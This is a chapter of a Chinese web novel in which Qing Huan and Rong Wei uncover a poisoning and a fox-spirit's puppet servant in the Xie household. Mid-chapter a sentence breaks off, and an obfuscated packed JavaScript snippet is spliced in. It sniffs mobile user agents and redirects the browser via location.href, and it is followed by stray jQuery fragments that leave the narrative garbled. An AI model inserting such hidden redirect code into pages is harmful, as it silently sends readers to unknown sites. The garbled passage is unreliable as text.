17.诡境四

作品:《国师夫人她红杏出墙

    灵力顺着他的经脉走了半圈,陡然止歇。


    灭魂散在神力的压制下,渐渐失去了原有霸道的力量,刚才容危的那口血,竟然激发了神力的护主之力。


    几乎是同时,青浣就察觉到了容危的打算。


    收了灵力,吊起嗓子就开始哭嚎。


    边嚎边晃容危,那气势似是要将他在晃出一口血才罢休。


    容危一只手紧紧扒着她的胳膊才不至于被晃匀了脑浆。


    青浣的动静很快就引了人来,为首的是刚才同秦芸说话的婆子,看见屋内的情形,一跺脚,跺出一声惊讶,怪叫着跑开了,边跑边嚷着:“二公子吐血了,快来人啊!二公子吐血了!”


    “头……头晕!”


    容危艰难地开口,青浣看他的脸色和将死之人有的一比,也不敢再使劲,将他轻轻放下,拿着帕子在他嘴角沾了沾,将残留的血液涂匀,看着情形更加凄惨。


    “闭眼!”


    容危听话装死,青浣趴在他的胳膊上就开始哭:“二哥哥,你怎么了,不要吓妹妹啊,你醒醒啊!”


    秦芸是跟着谢母一同来的,站在床边,一手扶着肚子,一手拭泪。


    青浣抽空瞟了一眼,看她装得还挺像。


    谢母扑到容危身上呼喊道:“造孽呀!快去请大夫!”


    秦芸上去劝慰她:“已经去请了,母亲,夫君他向来身子康健,定不会有事的。”


    随后得到谢母的一记眼刀。


    秦芸倒也不恼,看向青浣:“三妹妹,夫君出事时是你在照顾,当时是什么情况?”


    战火外引,果不其然,谢母朝她看了过来,青浣使劲在袖中掐了掐自己的大腿,让自己眼底泪意更浓些,泪珠将掉未掉,可怜巴巴地看着秦芸与谢母,猛地趴到谢母的膝头开始哭:“母亲,我只是将嫂嫂熬的醒酒汤递给了二哥哥,二哥哥饮了就咳了好大一口血。”


    有些人精已经嗅出了不一样的味道,站在旁边,一声不吭。


    秦芸也哭了起来,大喊:“怎会!母亲!我一直盯着那醒酒汤,刚刚才熬好,还没盛出来,此前哪来的醒酒汤给夫君喝。”


    两人演得一个比一个真。


    青浣在灵台之中和容危分析着此间的情形:“你怎么看?”


    “再等等。”


    青浣沉默一瞬:“你是在等秦芸自己说出目的?”


    “嗯!”


    灵台之外,秦芸一张脸哭得花容失色:“三妹妹,我这院子里的人都在这,你看看是哪个刁奴,帮嫂嫂找出来,我定捉她去见官。”


    青浣顺着她的话扫去,外头丫鬟婆子俱站在外面,起身去瞧,却独独不见刚才那个送醒酒汤的,她的眼神在众人之间来回巡视。


    顾不得谢蓁是否识得谢尧院中之人,回身问道:“只有这几位吗?”


    谢母拧着眉出来,站在她身边扫了一圈,倒是没有发现谢蓁的异样,嗯了一声。


    “不对,应该还有一个。”


    她定定地看着秦芸,没有漏掉秦芸嘴角抽搐的那一下。


    而这时,请来问诊的大夫背着药箱姗姗而来。


    上了岁数的脸上多沟壑,可那眉眼如崔煜一般无二。


    青浣脑中有些乱。


    崔父替谢尧把脉诊治,青浣趁此时间,回忆着整件事情的来龙去脉,依照崔煜所说,崔父进京时间应是一个月前,青浣看向秦芸的肚子,虽大却不是临盆之状。


    想起当时的那一幕,看着秦芸抚摸肚子的动作,总感觉有些诡异。


    灵台之中


    青浣:“你有没有察觉到刚才你送汤之人的异样。”


    容危:“是个傀儡。”


    青浣:“……,你为何之前不提醒我?”


    容危回她的语气中带着一丝不解:“你不知道?”


    她当然不知道,若是知道,怎还会将汤药递给他。


    “确实需要好好修炼。”凉凉的一句,青浣张张嘴,无从反驳。


    思来想去,青浣又觉得这也不能全怪她,上清境又没有这种鬼蜮伎俩,何况这傀儡之上又没有妖气,除去上次在牢中,容危用她头发变换的那次之外,这是她第一次见,如何能分辨得出来。


    崔父替容危把着脉,周边好几人泪汪汪地看着他,而他却在灵台之内同青浣讲起什么是傀儡来。


    “傀儡分三种,一种是取自己血肉制作、一种是凭空捏造的、不过这种一般一会儿便消散了,最后一种是用生人炼化的。”


    “炼化?”


    崔父抓起青浣放在桌上的碗闻了闻,碗底残留着药汁。


    “灭魂散!”


    这狐妖竟然早前就朝生人动过手了。


    “灭魂散,可消人魂魄,魂魄消除,生息却在,自然可以瞒天过海。”


    “那你是如何察觉的?”


    “灭魂散是九尾狐心头血所制,以此炼化的傀儡会带一股异香,你可去闻一闻那汤碗。”


    那碗如今正被崔父端在手里仔细观瞧,银针在药汁里探了探,并没有发现什么不妥。


    放下汤碗,捏着胡子,眉心紧锁,看得其余众人一阵心惊胆战。


    青浣悄悄捏起碗,凑到面前,一股异香传入鼻腔,直入肺腑,香气幽微,却清雅无比,一闻便知不是寻常香料所致。


    容危见多识广,青浣信他。


    “且看她有何动作。”容危仍然以不变应万变,青浣看在眼里,不由得心生敬佩,容危这人,任何时候都如此不骄不躁。


    谢尧这种情况,普通大夫,瞧不出什么的,崔父背上药箱,摇摇头,谢母一看他的姿态,以为儿子没救了,耍贱哀号起来。


    我的儿,夹杂着呜咽,眨眼的工夫,屋内一片鬼哭狼嚎,只有秦芸和青浣看着还镇定些。


    秦芸拿帕子点了点眼角,朝着崔父问道:“大夫,我夫君他到底怎么了?”


    崔父颇有些为难,像是不知如何开口,在秦芸的一再追问下,才犹豫开口:“公子症状只是饮酒过量,并无大碍,只不过为何吐血,这……恕老夫学艺不精,实在看不出来。”


    不等其他人反应,快步走了,背影都带着一股羞愧。


    青浣看他出了院门,缓缓吐出一口气,悬了三尺高的心落了定。


    知道崔父再次出现过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314911|166568||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,那调查起他的踪迹就方便多了。


    眼下还是秦芸要紧。


    谢母听到大夫匆匆丢下的话,一口气卡在胸前,不上不下,看看容危、又看看秦芸,一时没了主意。


    容危自然不会现在就醒来宽她的心。


    她哆哆嗦嗦地吩咐众人:“再去城中请大夫,将这几日给老太爷看过诊的大夫全请过来,看看我的尧儿到底怎么了。”


    一院人哗啦啦少了一半,谢父快步而来,与院中众人大眼瞪小眼。


    谢母一看丈夫来了,又忍不住啜泣来,谢父拍了拍她的肩,朝青浣问道:“怎么回事?”


    青浣又将之前的话说了一遍。


    这次大家总算察觉到不对劲,“蓁儿是尧儿亲妹妹,没理由要害他,莫非你们这院中混入了贼人?”


    女眷们大多是过惯安稳日子的,谢府这一番话吓得她们花容失色,其中谢母是真的,青浣是装的,而秦芸拿着帕子掩着自己的神情。


    不多时,又有人前来,这一次却不是个大夫,来人腰间挂着一个古拙的玄铁令牌,上头的金漆在日光下熠熠生辉。


    紫极阁弟子。


    等这人走近了,青浣发现这竟是个熟人。


    当日紫极阁外声讨容危不合规的正是此人,青浣有一瞬间的疑问,这毒真的是这狐妖下的吗?


    “静观其变。”熟人出现,容危未展现半分惊愕,依旧装死。


    紫极阁在世人心中分量极大,对内眼高于顶的谢父看见他,起身快步相迎:“哈哈哈,白松真人大驾光临,有失远迎,有失远迎啊!”


    那名叫白松的弟子朝他抱拳回礼:“国师测到今日谢府中有异,特遣我前来查看。”


    “多谢国师!”谢父遥遥一拜,转而对白松说道:“实不相瞒,我儿突然吐血昏迷,刚请了大夫瞧了一番,却说并无异样,还劳烦真人,替我儿看上一看。”


    白松点点头,坐到床榻边,朝容危伸出了手。


    “他会不会发现你!”青浣语气中带着几分焦急,这白松表明了是国师的心腹,容危是国师的徒弟,那这白松对他的气息定是熟悉的。


    “无妨!”


    白松的手指探上容危的经脉,眉头一下子紧锁起来,众人的心也被一下子吊上了半空,谢母紧紧攥着帕子,抵在唇边,堵住咬紧的牙关。


    只见白松猛地抽回手,脸色难看地看着躺在床上不省人事的“谢尧”说着:“灭魂散,他竟然中了灭魂散。”


    谢府谢母虽不知那是什么东西,听名字却也猜到一二,顾不上礼数,谢父凑到白松面前,问道:“真人可有法子解?”


    犹豫半晌,白松点了点头。


    青浣有些惊奇:“你们阁中真是藏龙卧虎啊,九尾狐心头血所制之毒都能解。”


    “不能。”


    “什么?”没想到他会否认,青浣一时以为自己听岔了。


    “这毒,阁中无法解。”


    那这白松……


    这就要摊牌了吗,青浣心中暗笑,这些人还真是沉不住气呢。


    青浣抱臂隐在旁边,十分好奇白松接下来会做些什么。